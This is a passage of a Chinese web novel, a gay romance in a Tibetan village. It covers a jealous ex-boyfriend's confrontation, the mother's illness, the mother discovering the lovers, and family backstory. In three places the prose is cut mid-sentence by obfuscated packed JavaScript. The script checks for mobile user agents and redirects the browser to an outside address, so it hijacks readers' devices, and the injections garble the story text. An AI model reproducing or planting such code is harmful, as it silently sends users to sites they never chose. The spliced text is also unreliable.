“我不走!”江泽的声音提高了,“沈翊,我今天来是要一个答案!你为什么拉黑我?为什么不回北京?你知道我为了找你花了多少工夫吗?我连工作都辞了!” 沈翊看着眼前这张熟悉又陌生的脸。七年前,这张脸上有让他心动的笑容;七年间,这张脸渐渐模糊成习惯;几个月前的那个夜晚,这张脸在声控灯下和另一个人贴在一起;而现在,这张脸上只有一种可怕的执念,不是爱,是占有欲没有得到满足的不甘。 “江泽,”沈翊听见自己说,声音出奇地平静,“答案我早就给过你了。我们结束了。至于我为什么不回北京,我为什么还要回去?” “你的工作呢?你的房子呢?你的生活呢?”江泽步步紧逼,“就为了躲在这里,和这个……这个藏族男人在一起?沈翊,你清醒一点!这里不是你该待的地方!” “那什么地方是我该待的?”沈翊反问,“北京?那个我每天加班到深夜、回家发现男友出轨的城市?还是那个我父母各自出柜、把我当报复工具的家庭?” 他说出了从未对尼玛旺堆完整说出的过去。那些藏在心底最暗处的羞耻,此刻像脓液一样被挤出来,暴露在阳光下。 江泽愣住了。他显然没想到沈翊会在这里、当着这个藏族男人的面说出这些。 “你……”他张了张嘴。 “我什么?”沈翊往前走了一步,这一步让他彻底从尼玛旺堆的阴影里走出来,站到了阳光底下,“江泽,你知道我最恶心的是什么吗?不是你出轨,不是你不爱我,是你到现在还觉得,我应该原谅你,应该回到你身边,应该继续过那种自欺欺人的生活。” 他的声音开始颤抖,但不是因为恐惧:“因为你觉得我无处可去,对不对?你觉得我除了你,没有人会要我,对不对?你觉得像我这样,父母都是同性恋、自己也是同性恋、性格古怪、不会爱人的人。除了你江泽大发慈悲收留,就没有别的出路了,对不对?” 这些话像刀子,一刀刀割开他自己。但奇怪的是,割开之后不是疼痛,而是一种近乎麻木的清醒。 江泽的脸色白了。他看向尼玛旺堆,眼神里有种狗急跳墙的狠意:“他跟你说了吗?他父母的事?他爸爸骗婚,妈妈为了报复出柜,他自己……他自己也是个恶心的同性恋!他在北京根本待不下去,没有公司敢要他,朋友都离他远远的!你知不知道你收留的是个什么人?” 空气凝固了。 沈翊闭上眼睛。来了,最害怕的时刻来了,那些他小心翼翼藏在心底的、连自己都不敢正视的羞耻,被最不该知道的人,用最恶毒的方式,摊开在他最在乎的人面前。 他等着。等着尼玛旺堆的反应。等着那个可能会出现的、恍然大悟后的退却,或者至少是震惊和犹豫。 但什么都没有。 他听见尼玛旺堆的声音,平静得不像话:“我知道。” 沈翊猛地睁开眼睛。 尼玛旺堆看着他,眼神里没有惊讶,没有嫌弃,只有一种深沉的、几乎让人落泪的理解。然后他转向江泽,语气依然平静:“沈翊跟我说过他的过去。一点一点,在他准备好的时候,告诉我的。” 他往前走了一步,挡在了沈翊和江泽之间。这个动作很自然,像老鹰张开翅膀护住雏鸟。 “你说这些,是想让我看不起他,还是想让我赶他走?”尼玛旺堆问,声音里甚至有一丝好奇,仿佛真的在探讨一个问题,“可是江先生,你好像不明白,你说的这些,对我来说,不是他的耻辱,是他的伤痕。” 江泽愣住了。 “伤痕,你懂吗?”尼玛旺堆继续说,语气像是在教一个不懂事的孩子,“就是一个人活过的证明。有的人的伤痕在手上,是劳作留下的;有的人的伤痕在心里,是生活留下的。沈翊的伤痕在心里,很深,很痛。但那是他的过去,不是他的罪。” 他转过身,面向沈翊,背对着江泽,用整个身体筑起一道墙:“而在我这里,伤痕不是用来嘲笑和攻击的。是用来理解,用来心疼,用来……慢慢帮着愈合的。” 沈翊的视线模糊了。他看不清尼玛旺堆的脸,只能看见一个轮廓,一个在阳光下站得笔直的、为他挡去所有风雨的轮廓。 江泽的声音从尼玛旺堆身后传来,带着气急败坏的尖刻:“你装什么圣人?你不就是看他长得白净,想玩玩吗?我告诉你,沈翊这个人,根本不会爱人!他冷漠,自私,心里只有他自己!你现在觉得新鲜,等时间长了,你会后悔的!” 尼玛旺堆没有回头。他甚至没有动。他只是看着沈翊,伸出手,握住了沈翊冰凉的手。 “江先生,”他说,声音终于有了一丝波澜,不是愤怒,而是悲哀,“你说沈翊不会爱人。可是你知道吗?真正的爱,不是占有,不是控制,不是在他最脆弱的时候踩上一脚。” 他转过身,但手依然握着沈翊的手。两人的手在阳光下交握,十指紧扣,像某种无声的宣告。 “真正的爱,是他在北京受伤了,逃到西藏,我给他一碗热茶;是他学不会藏语急得脸红,我一遍遍教他;是他做噩梦醒来一身冷汗,我握着他的手告诉他‘我在’;是现在——你站在这里,想要撕开他所有的伤口,我站在他前面,告诉他‘别怕’。” 尼玛旺堆的声音不高,但每个字都像石头,沉甸甸地砸在地上:“你说他不会爱人。那我告诉你,他会的。他会在我阿妈生病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183001|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,整夜守在佛堂念经;他会在我姐姐忙不过来时,学着挤牛奶把手磨破;他会记住我不吃辣,会在转山时把最后一口水留给我。这些,江先生,你得到过吗?” 江泽的脸色从白转红,又转青。他张着嘴,却发不出声音。 “你没有。”尼玛旺堆替他回答了,“因为你只想要一个完美的、符合你想象的沈翊。他要聪明,但不能比你聪明;他要独立,但不能不依赖你;他要爱你,但必须用你规定的方式。”他摇摇头,“那不是爱。那是……绑架。” 他向前走了一步,江泽下意识地后退了一步。 “现在,请你离开。”尼玛旺堆说,语气是最后的通牒,“不是请求,是要求。这是沈翊的家,也是我的家。我们不欢迎你。” 江泽看着他们,看着他们紧握的手,看着尼玛旺堆护犊般的姿态,看着沈翊站在他身后,不是躲藏,而是并肩。那个曾经在他面前总是微微低头、习惯性道歉的沈翊,此刻挺直了脊背,眼神里有种他从未见过的光芒。 那光芒不是给他的。从来不是。 “好……好……”江泽点着头,往后退,行李箱的轮子在土路上发出刺耳的摩擦声,“沈翊,你别后悔。你在这种地方,跟这种人在一起,你的人生完了!你完了!” 他几乎是踉跄着转身,拖着行李箱快步离开,背影狼狈得像条丧家之犬。 院门外恢复了安静。只有风吹过经幡的声音,远处牛羊的叫声,和两人交握的手心里,渐渐回升的温度。 尼玛旺堆松开手,转过身,面对沈翊。他的表情很严肃,眉头皱着。 “对不起,”沈翊先开口,声音哑了,“我没想到他会……” “该道歉的不是你。”尼玛旺堆打断他,伸手抹去他脸上不知何时滑下的眼泪,“是他。” 他的拇指粗糙,带着茧,擦过皮肤时有点疼,但那种真实的触感让沈翊终于确信,这不是梦,江泽真的来过,而尼玛旺堆真的挡在了他前面。 “你……”沈翊想问很多问题。你怎么知道那些?你什么时候知道的?你为什么……不介意? 但他问不出口。因为答案已经写在尼玛旺堆的眼睛里,那双深邃的、此刻盛满温柔和心疼的眼睛里。 “沈翊,”尼玛旺堆说,双手捧住他的脸,强迫他看着自己,“听我说。你的过去,是你的一部分。好的,坏的,痛的,都是你。而我认识的、喜欢的,是这个完整的你,包括那些伤痕,包括那些你不敢告诉任何人的秘密。” 他的额头抵上沈翊的额头,闭上眼睛:“所以,不要道歉。永远不要为你的过去向我道歉。因为如果没有那些过去,你就不会来到这里,不会成为现在这个,让我想要用一生去珍惜的人。” 沈翊的眼泪终于决堤。不是悲伤的泪,是某种沉重的、一直压在心口的东西终于被搬开后的释放。他抱住尼玛旺堆,把脸埋在他肩头,无声地哭泣。 尼玛旺堆抱紧他,一只手轻轻拍着他的背,像在安抚一个受惊的孩子。 远处,德吉次仁从屋里走出来,看见院子里的这一幕,停下了脚步。 她没有上前,只是站在那里,看了很久,然后轻轻叹了口气,转身回了屋。 而在屋顶正在收拾旧风马旗的阿妈米玛啦,在看到他们相吻的那一刻,差点跌倒。 阳光继续洒在院子里,洒在那对相拥的人身上,洒在尼玛旺堆刚刚修补好的篱笆上,洒在一地散落的钉子上。那些钉子闪着光,像被遗落的星辰。 不知过了多久,沈翊抬起头,眼睛红肿,但眼神清澈。 “尼玛旺堆,”他说,声音还带着鼻音,“谢谢你。” 尼玛旺堆摇头,用袖子粗鲁地擦去他脸上的泪痕:“不用谢。这是我该做的。” “该做的?” “嗯。”尼玛旺堆认真点头,“保护自己的家人,是男人该做的事。” 家人。这个词又一次出现。但这一次,沈翊没有感到惶恐,只有一种沉甸甸的、踏实的暖意。 “走吧,”尼玛旺堆捡起地上的锤子,“篱笆还没修完。” “明天还去东边草场吗?” “去。”尼玛旺堆说,把锤子递给他,“你答应要帮我的。” 沈翊接过锤子,手还有点抖,但已经稳了很多。他看着尼玛旺堆蹲下身,重新开始敲打木桩,背影宽厚而坚实。 风吹过,院墙上的经幡哗哗作响。远处传来江泽离开时那个方向的汽车引擎声,但很快就消失在风里,像从未出现过。 沈翊蹲到尼玛旺堆身边,递上一颗钉子。尼玛旺堆接过,敲进木桩,动作熟练而沉稳。 一下,又一下。 像心跳,像誓言,像这片高原上千年不变的、沉默而坚定的生活节奏。 而沈翊知道,从今天起,这个节奏里,也有了他的一份。 尼玛旺堆又说:“去草场之后,还要去湿地,我们第一次去然后你衣服被弄湿的那个地方……” 沈翊满脸通红:“你不要再取消我了……” 笑声洋溢着院子。 29. 春天与死亡【新增】 日子像年楚河解冻的冰层,表面依然缓慢,底下却有了流动的声响。 沈翊有时站在院子里,能听见那种细微的声音,是冬天在撤退,是春天在逼近。 但他渐渐明白,在这片高原上,新生与死亡从来不是对立的章节,而是同一页纸上并排的文字。 那天清晨,尼玛旺堆扛着铁锹准备去地里看看冬灌的情况。沈翊跟在他身后,踩着他留在地上的脚印。太阳还 没完全爬过东边的山脊,空气稀薄且寒冷,每一次呼吸都带着刺痛。 走到田埂边时,尼玛旺堆停下来,望着远处已经开始融雪的山坡,忽然说:“万物新生意味着死亡。” 沈翊愣了一下,没听懂这没头没尾的话。 尼玛旺堆蹲下身,用铁锹的尖端轻轻敲击已经开始松软的冻土:“春天是万物复苏的日子,但是也会有很多生物,在此刻死亡。” 他抬起头,看向沈翊,眼神里有种沈翊看不懂的沉重:“最明显的就是河流。等雪化得差不多了,河水涨起来的时候,你会闻到腥味,那是整个冬天冻在冰层下面的尸体,鱼、鸟、有时候甚至是……” 他的话没说完。 手机响了。 在安静的田野里,铃声尖锐得刺耳。尼玛旺堆掏出手机,看了一眼屏幕,脸色瞬间变了。不是惊讶,是某种更深的东西,像早就预感到的坏事终于发生的确认。 “怎么了?”沈翊问。 尼玛旺堆没有回答。他扔下铁锹,抓住沈翊的手腕就往回跑。铁锹倒在田埂上,锹头插进松软的泥土,像一座突然竖起的墓碑。 他们跑回村子时,已经能听见救护车鸣笛的声音,那种在城市里司空见惯、在这里却显得格外突兀的声音。车子停在尼玛旺堆家门口,红蓝灯光在清晨灰白的天光里旋转,把整条巷子染上不安的色彩。 德吉次仁站在院门口,头发乱糟糟的,显然是刚从床上爬起来。看见他们,她只说了一句藏语,很短,但尼玛旺堆的脸更白了。 医护人员抬着担架从屋里出来。担架上躺着阿妈米玛啦,盖着厚厚的被子,只露出一张苍白的脸。她的眼睛闭着,眉头却微微皱着,像在睡梦中还在对抗着什么。 “阿妈!”尼玛旺堆冲过去,被一个护士拦住了。 护士用生硬的汉语说:“家属跟车,只能一个。” “我去。”德吉次仁立刻说,她已经穿好了外套,“你在家,照顾……”她看了一眼沈翊,“照顾家里。” 救护车门关上,鸣笛重新响起,车子在狭窄的巷子里艰难地调头,然后驶远。红蓝灯光渐渐消失在村口,像一 场突然开始又突然结束的梦。 院子里只剩下尼玛旺堆和沈翊。晨光完全铺满了大地,照在空荡荡的院墙上,照在还没来得及收的、晾晒羊毛的架子上,照在尼玛旺堆僵硬的背影上。 沈翊走过去,轻轻碰了碰他的手臂:“会没事的。” 尼玛旺堆没说话。他盯着救护车消失的方向,很久,才用藏语说了句什么。声音很低,但沈翊听出了其中的颤抖。 那天接下来的时间,像一场慢放的默片。 尼玛旺堆在院子里走来走去,给牛添草,收拾工具,修补漏风的窗缝,做一切不需要思考的事。 沈翊跟在他身边,想帮忙,却发现自己插不上手。这不是城市里那种可以用语言安慰的悲伤,这是一种更沉默的、需要被劳作消化的焦虑。 中午,德吉次仁打来电话。尼玛旺堆接听时,沈翊看见他的手指紧紧攥着手机,指节发白。 通话很短。挂断后,尼玛旺堆在院子里站了很久,然后走到佛堂门口,脱下鞋子,走了进去。 沈翊等在门外,听见里面传来低低的诵经声,不是平日那种平稳的吟唱,而是断断续续的、带着哽咽的声音。 他忽然想起尼玛旺堆早上没说完的话。 “……有时候甚至是……” 是人吗? 沈翊不敢想下去。 阿妈米玛啦在医院住了两周。这两周里,尼玛旺堆和沈翊的生活变成了两点一线——家,医院,再回家。 医院在日喀则XX,每天往返要三个小时。 尼玛旺堆开车,沈翊坐在副驾驶。路上他们很少说话,只是听着车里的藏语歌,看着窗外的景色从枯黄到隐约 泛绿。春天真的来了,以一种病人无力欣赏的方式。 病房里总是充满消毒水的气味,但阿妈米玛啦的床头上永远摆着一充电式的小盏灯,尼玛旺堆从家里带来的。 灯光微弱,却顽强地在白色墙壁上投下一小圈温暖的光晕。 阿妈米玛啦多数时间在昏睡。醒来时,她会看看儿子,再看看沈翊,然后闭上眼睛,什么都不说。她的沉默比 语言更有力量,像一堵透明的墙,隔在她和沈翊之间。 但尼玛旺堆不让她沉默。他坐在床边,用藏语讲村里的事:谁家的母牛下了双胞胎,谁家的孩子在市里比赛得了奖,东边的草场冒出了第一茬新草。他讲得很细,像在给一个远行归来的人汇报家中的变化。 有时候阿妈米玛啦会睁开眼睛,看着儿子。她的眼神很复杂,有爱,有担忧,有一种沈翊看不懂的悲伤。 沈翊尽量让自己有用。他打热水,买饭,找护士,做一切能做的事。但他能感觉到,阿妈米玛啦看他的眼神变了。不再是看“客人”的慈祥,也不是看“家人”的温暖,而是某种更审视和不解的目光。 那堵墙在加厚。 第三周,医生允许阿妈米玛啦回家休养。 出院那天,德吉次仁也来了,四个人挤在车里,气氛却比来时更沉重。阿妈米玛啦靠在车窗上,看着外面飞速后退的街景,忽然用藏语说了句什么。 德吉次仁翻译:“阿妈说,野花要开了。” 沈翊看向窗外。路边的确有几株花朵,枝头已经鼓起深红色的花苞,像无数个攥紧的小拳头。 “是啊,要开了。”尼玛旺堆说,声音很轻。 回到家,生活重新进入轨道,但轨道本身已经改变了。阿妈米玛啦多数时间待在佛堂或自己的房间,不再像以 前那样在厨房和院子里忙碌。德吉次仁搬回来住,接替了母亲的大部分家务。 而沈翊和尼玛旺堆的关系,像春天冻土下的草芽,在无人看见的地方疯狂生长。 这种生长是安静的,是细碎的。是一个眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183002|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的交汇,是餐桌下膝盖轻轻的相碰,是夜里走在路上时短暂的拥 抱,是尼玛旺堆教沈翊挤牛奶时从背后环住他的姿势停留得稍久一些。 他们从未真正讨论过“在一起”这件事,但这件事已经发生了,像季节更替一样自然。沈翊有时会在半夜醒来,看着身边尼玛旺堆沉睡的侧脸,觉得这一切不真实得像个梦——一个他不敢用力呼吸生怕惊醒的梦。 不久后的月圆之夜,这个梦有了名字。 那天尼玛旺堆去学校申请延长休学的时间,他请了长假照顾母亲,但偶尔需要回学校处理事情。到家时已经是 晚上十点,沈翊在院子里等他。 月光很好,把整个院子镀成银白色。尼玛旺堆停好车,看见沈翊站在月光里,忽然就笑了。 “怎么不进去?”他问,关车门的声音在寂静中格外清晰。 “等你。”沈翊说。 两个字,简单得不能更简单。但尼玛旺堆听懂了里面的全部,我担心你路上安全,我想你回来第一个看见的是我,这个家有你才是家。 他走过去,在沈翊面前停下。两人之间只有一步的距离,月光流淌在中间,像一条发光的河。 “沈翊。”尼玛旺堆叫他的名字,声音有些哑。 “嗯?” “我……”他顿了顿,像是在积蓄勇气,“我今天在学校,看见桃花开了。” 沈翊等着。他知道这不是真正要说的话。 “粉色的,一树都是。”尼玛旺堆继续说,眼睛看着沈翊,一眨不眨,“我站在那儿看了很久,就想,想带你也看看。” “然后呢?” “然后我就想,”尼玛旺堆深吸一口气,“想以后每个春天,都带你去看花。夏天的草原,秋天的青稞,冬天 的雪山……所有我觉得好看的东西,都想让你也看见。” 他的语言朴素得像脚下的泥土,但沈翊听见了其中全部的重量。 “尼玛旺堆,”沈翊轻声问,“你是在对我说情话吗?” “我不知道这是不是情话。”尼玛旺堆老实承认,“我只知道,这是真话。” 沈翊笑了。笑着笑着,眼眶就热了。他往前走了一步,跨过那条月光的河,站到尼玛旺堆面前。 “那我也说句真话。”他说,仰头看着这个比他高的青年,“我不想只看你看见的风景。我想看,你看见风景 时的眼睛。” 尼玛旺堆愣住了。然后,像是某种堤坝决口,他猛地低下头,吻住了沈翊。 这个吻和以往都不同。不是星空下的试探,不是车里的安慰,不是旅途中的情不自禁。 这是一个确认,确认你是我的,我是你的,确认那些没说出口的话彼此都懂,确认这个春天,这场爱情,这个 人,我要定了。 分开时,两人的呼吸都乱了。额头相抵,在月光下交换着温热的空气。 “沈翊,”尼玛旺堆说,声音里有一种破釜沉舟的坚定,“做我的人吧。不是客人,不是朋友,是……是我的人。” 沈翊没有立刻回答。他伸出手,抚上尼玛旺堆的脸颊,感受着掌心下皮肤的温暖,和微微的颤抖。 30. 被发现【新增】 “好。”他说,只一个字。 尼玛旺堆的眼睛瞬间亮了,亮得像把所有的月光都吸了进去。他再次吻他,这次更温柔,更绵长,像一个正式的盖章认证。 从那天起,他们开始“谈恋爱”——用尼玛旺堆的话说。 但这场恋爱谈得悄无声息,像地下河在岩层下流淌。或许很早之前就已经开始恋爱了。他们依然睡在两个被窝,依然在家人面前保持适当的距离,依然把最亲密的时刻留给深夜和无人看见的角落。 但这种克制本身,让那些偶尔的触碰、短暂的对视、无意中交叠的手指,有了千钧的重量。 沈翊以为,他们可以一直这样下去。等到时间足够久,等到阿妈米玛啦身体好转,等到春天的草长到可以掩藏秘密的高度。 他错了。 事情发生在一个普通的下午。 阿妈米玛啦的精神好了些,愿意到院子里晒太阳。德吉次仁在厨房准备晚饭,尼玛旺堆在修理牛棚的门。沈翊蹲在院子里,学着用羊毛捻线,这是阿妈米玛啦生病前教他的,他还没学会。 阳光很好,晒得人懒洋洋的。沈翊捻着捻着就走了神,眼睛看着尼玛旺堆的方向。尼玛旺堆正踮着脚钉钉子,藏袍的下摆随着动作微微摆动,露出结实的小腿。 沈翊看得入神,没注意到阿妈米玛啦正看着他。 尼玛旺堆钉完钉子,转身跳下来,拍了拍手上的灰。看见沈翊在看他,他笑了笑,走过来。 “学会了吗?”他蹲到沈翊身边,凑近看那团歪歪扭扭的毛线。 “没有。”沈翊老实说,“太难了。” “我教你。”尼玛旺堆自然地接过他手里的东西,手指不可避免地碰到沈翊的手指。碰到的一瞬间,两人都顿了一下。 然后尼玛旺堆抬起头,看着沈翊。阳光落进他的眼睛,变成细碎的金色光点。沈翊看着那些光点,看着光点里自己的倒影,忽然就忘了呼吸。 他们离得很近。近到能看见对方瞳孔的收缩,能感受到对方呼出的热气,能闻到彼此身上熟悉的、混合了阳光和尘土的味道。 时间仿佛慢下来。院子里的一切声音,德吉次仁在厨房切菜的声音,远处牛羊的叫声,风吹过经幡的声音,都退得很远。世界缩小到这个角落,缩小到这两双对视的眼睛。 尼玛旺堆先动了。他极慢地、试探地往前倾了倾身。沈翊没有躲。 然后他们的嘴唇碰在一起。 很轻的一个吻,像蝴蝶停在花瓣上,停留不超过三秒。分开时,两人的脸都红了,眼睛里都有种做了坏事的心虚,和掩藏不住的甜蜜。 他们同时转头,看向阿妈米玛啦坐的方向。 然后,血液凝固了。 阿妈米玛啦没有在睡觉。她睁着眼睛,直直地看着他们。那张总是慈祥的、温和的脸,此刻像一尊突然风化的石像,所有的表情都碎了,只剩下最原始的震惊,和震惊底下更深的东西:恐惧,愤怒,失望,还有一种被背叛的痛。 时间真的静止了。 尼玛旺堆猛地站起来,动作太急,差点摔倒。他张了张嘴,想说什么,但发不出声音。沈翊还蹲在地上,仰头看着阿妈米玛啦,大脑一片空白。 阿妈米玛啦也站了起来。她的动作很慢,像每个关节都在生锈。她看看儿子,又看看沈翊,眼神从一个人脸上移到另一个人脸上,像在确认什么可怕的事实。她以为之前的都是在开玩笑…… 然后,她转身,一言不发地走回屋里。脚步很稳,但背影佝偻得厉害,像突然老了十岁。 院门在她身后关上,发出沉闷的声响。 那声响像一巴掌,扇醒了呆滞的两个人。尼玛旺堆看向沈翊,脸色惨白:“我……” “你推开了我。”沈翊说,声音平静得自己都惊讶。 尼玛旺堆这才意识到,在母亲转身的瞬间,他下意识地后退了一步,和沈翊拉开了距离。这个动作很小,但足够伤人。 “对不起,”他急急地说,伸手想碰沈翊,又在半空中停住,“我不是……我只是……” “我知道。”沈翊站起来,拍了拍膝盖上的土,“你只是被吓到了。” 他说得对。 尼玛旺堆是被吓到了,不是被母亲看见,而是被母亲眼中的那种眼神吓到了。那眼神他见过一次,在很多年前 父亲带着那个女人回来的时候。那是信任崩塌的眼神,是世界破碎的眼神。 “我会跟阿妈解释。”尼玛旺堆说,声音里有种强撑的坚定,“我会让她明白……” “不用。”沈翊打断他,“这东西强求不了,顺势而为罢。” 他弯腰捡起那团没捻完的羊毛线,转身往屋里走。走到门口时,他停下来,回头看着还站在院子里的尼玛旺堆。 月亮不知何时已经升起来了,和夕阳的余晖混在一起,把尼玛旺堆的影子拉得很长,长到几乎要碰到沈翊的脚边。 “你先进去吧,”沈翊说,“我……我去看看德吉次仁要不要帮忙。” 他逃也似的进了厨房。留下尼玛旺堆一个人站在院子里,站在越来越浓的暮色里,站在刚刚开始就似乎已经结束的春天里。 那天晚上,阿妈米玛啦没有出来吃饭。德吉次仁把饭端进她房间,很快就出来了,脸色不太好。 “阿妈说她不吃。”德吉次仁说,眼睛看着尼玛旺堆,“她还说,让你吃完饭去找她。” 晚饭吃得像一场默哀仪式。三个人坐在餐桌旁,只有筷子碰碗的声音。尼玛旺堆吃得很少,眼睛不时瞟向母亲 房间紧闭的门。沈翊埋头吃饭,尝不出任何味道。 吃完饭,尼玛旺堆去了母亲房间。沈翊帮着德吉次仁收拾碗筷,两人在厨房的水槽前沉默地干活。 “沈翊,”德吉次仁忽然开口,声音很轻,“给我点时间。” 沈翊转头看她。 “给我点时间说服她。”德吉次仁说,手上刷碗的动作没停,“阿妈她……她经历过太多不好的事。她不是讨厌你,她是害怕。” “怕什么?” “怕失去。”德吉次仁把洗好的碗放到架子上,甩了甩手上的水,“怕失去儿子,怕失去这个家好不容易维持的体面,怕成为别人的笑柄。”她苦笑了一下,“你不知道,在这个村子里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183003|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲言碎语能杀人,妈妈死过一次了……” 沈翊懂了。 不是不懂,是太懂了。 在他来的那个世界,闲话也能杀人,只是方式更隐蔽,更精致。 “我不急。”他说,“我可以等。” “等多久?”德吉次仁问,眼神里是悲悯,对他们,对自己怜悯。 沈翊沉默了。等多久?等到阿妈米玛啦接受?如果她永远不接受呢?等到尼玛旺堆做出选择?如果他选择了母亲呢? 他没有答案。 尼玛旺堆在母亲房间里待了很久。沈翊先回了房间,躺在床上,睁着眼睛看天花板。灯早已熄了,只有月光从窗户流进来,在地上画出一块惨白的光斑。 门开了。尼玛旺堆走进来,没点灯,摸黑走到床边坐下。沈翊能听见他沉重的呼吸声。 “她说什么?”沈翊问,声音在黑暗里显得格外清晰。 尼玛旺堆沉默了很久。 “她说,”他的声音哑得厉害,“她宁愿我娶个不喜欢的女人,生几个孩子,平平淡淡过一辈子。也不要 我……不要我和你在一起。” 沈翊的心沉下去。但他没说话,只是等着。 “我说不行。”尼玛旺堆继续说,像是在背诵一段艰难的课文,“我说我做不到。我说沈翊不是一时的冲动,是我认真想过后半生要在一起的人。” “然后呢?” “然后她哭了。”尼玛旺堆的声音开始颤抖,“我从小到大,没见阿妈哭过几次。父亲走的时候她没哭,生病难受的时候她没哭,可是今天……她哭了。” 沈翊想象那个画面,那个坚强的、撑起整个家的女人,在儿子面前无声地流泪。他的心揪紧了,不是为了自己,是为了那个女人的绝望,和这个男人的痛苦。 “对不起,”尼玛旺堆又说,这次是真正的崩溃,“对不起,沈翊,我不知道……我不知道会这么难……” 沈翊坐起来,在黑暗里找到他,抱住他。尼玛旺堆把脸埋在他肩头,身体在发抖。这个在冰川前镇定自若,在 江泽面前霸气护他的男人,此刻脆弱得像个迷路的孩子。 “不是你的错。”沈翊说,一遍遍抚摸他的后背,“不是任何人的错。” “那是谁的错?”尼玛旺堆问,声音闷闷的。 沈翊答不上来。如果爱一个人是错,那这世界早就错了千百年。如果被一个人爱是错,那他甘愿一错再错。 但这话现在不能说。现在只能抱着他,让他哭,让他把所有的愧疚和痛苦都哭出来。然后等天亮,等春天真正 到来,等冻土彻底融化,等河流带走冬天所有的尸体——包括那些名为偏见、恐惧、和旧伤的记忆。 也许会等到。也许等不到。 但此刻,在这个月光清冷的房间里,在这个春天即将全面到来的夜晚,他们至少还有彼此的体温,还有这个安静而疼痛的拥抱。 窗外,年楚河的水声隐约可闻。河水正在上涨,带着融雪的清冽,和冰层下整个冬天的秘密,奔向不可知的远方。 而春天,已经近在眼前了。 31. 望果节与默认 次日清晨,阿妈米玛啦照例念经,吃完早饭。 单独找沈翊过来,让德吉次仁翻译问他“你们真的彼此相爱吗?” 米玛阿姨用手捂住嘴巴,重重咳嗽了一声。 低沉,沙哑,像是弥留之人最后的挣扎。但不等他们上去帮忙,她缓慢地摆了摆手,用那双满是劳作痕迹的手,比划着示意德吉次仁继续翻译。 阿妈米玛啦说一句,她翻译一句。 沈翊安静了许久,他呆愣在原地,不知该如何作答。 “我们这个家,”她开口,手指无意识地捻着袍子边缘磨损的毛线,“是从一棵很大的树上,硬生生掰下来的枝杈。 本家是当地有名的富家。当年爷爷为了保证家族的繁荣,将兄弟两人留在家里,让这个家更好,只是家庭的不和睦是无法改变的。 她顿了顿,目光似乎穿越墙壁,看到了很远的地方。“爷爷一走,家就散了。我们分出来的时候,阿妈选了阿爸,没选那个更有出息的弟弟。什么家产都没要,就要了这个人。两个人,几件袍子,一口锅,就来了这里。” “从头开始,是什么意思?”德吉次仁扯了扯嘴角,笑意凉薄,“就是阿爸外出找活计,一年到头见不到几面。阿妈一个人,成了这个家的‘男人’。你看现在这些田,这水渠,这房子……最早的那一犁,是阿妈咬着牙、淌着汗翻开的。她得为了一点工钱扯着嗓子骂街,得在集市上为了几毛钱变成别人眼里最不好惹的‘泼妇’。她那双现在捡佛珠、转经筒的手,曾经满是裂口,指甲缝里塞满洗不掉的泥和牛粪。” “后来,日子越来越好。阿爸又出去打工,钱寄得越来越少,信也越来越短。直到我上初中那年秋天,他回来了。” 她的眼神空茫,“开着一辆我们从没见过的、亮得扎眼的车,穿着笔挺得像电视里人的衣服。阿妈正在院子里和湿牛粪,准备贴墙。她听见声音,抬起头,一脸的泥点子,可眼睛一下子亮了,那是真的光……她大概以为,苦日子到头了,男人出息了,回来了。” “她笑着跑过去,手都没来得及擦。”德吉次仁的指甲掐进了掌心,“可阿爸没看她。他绕到另一边,特别‘绅士’地打开车门,扶下来一个女人。很年轻,穿着那时最时尚的藏袍和鞋子,站在我们的土院子里,眼里全是嫌弃和不耐烦。” 这次男人回来只是为了离婚。母亲当场拿着铁锹往男人身上狠狠地砸,男人反应迅速只是蹭到后背而已。 那一日的母亲,没了往日的慈祥与温柔,有的只是对男人的失望与深深的恨意。男人转身跑进了车里,母亲不会打开这门,只能用尽一切力气拍打着车窗,嘴里念着一句又一句的禽兽、撒如、单扎、都系等等脏话,她狰狞,她毫无尊严,她成了别人口中的笑话。 ‘爱’这个词太虚假了,虚假到母亲不知道这个世界上还有这种东西。她说,那是识字的人编出来骗傻子的。 ‘父母之命,媒妁之言’,像配牲口一样搭伙过日子,日子久了,磨出来的不是情分,是恶心,是透骨的恨。她前半辈子被‘母亲’的身份绑在这里,挨打受穷;后半辈子被‘孩子’拴在这里,眼睁睁看着男人用她熬干自己换来的一点家底,去对别的女人献殷勤。” “她只能更狠地逼自己,她把所有指望,一点不剩,系在我们姐弟身上。我们是她的命换来的,也是她的债,她的勋章,她这辈子唯一能骄傲的资本。” 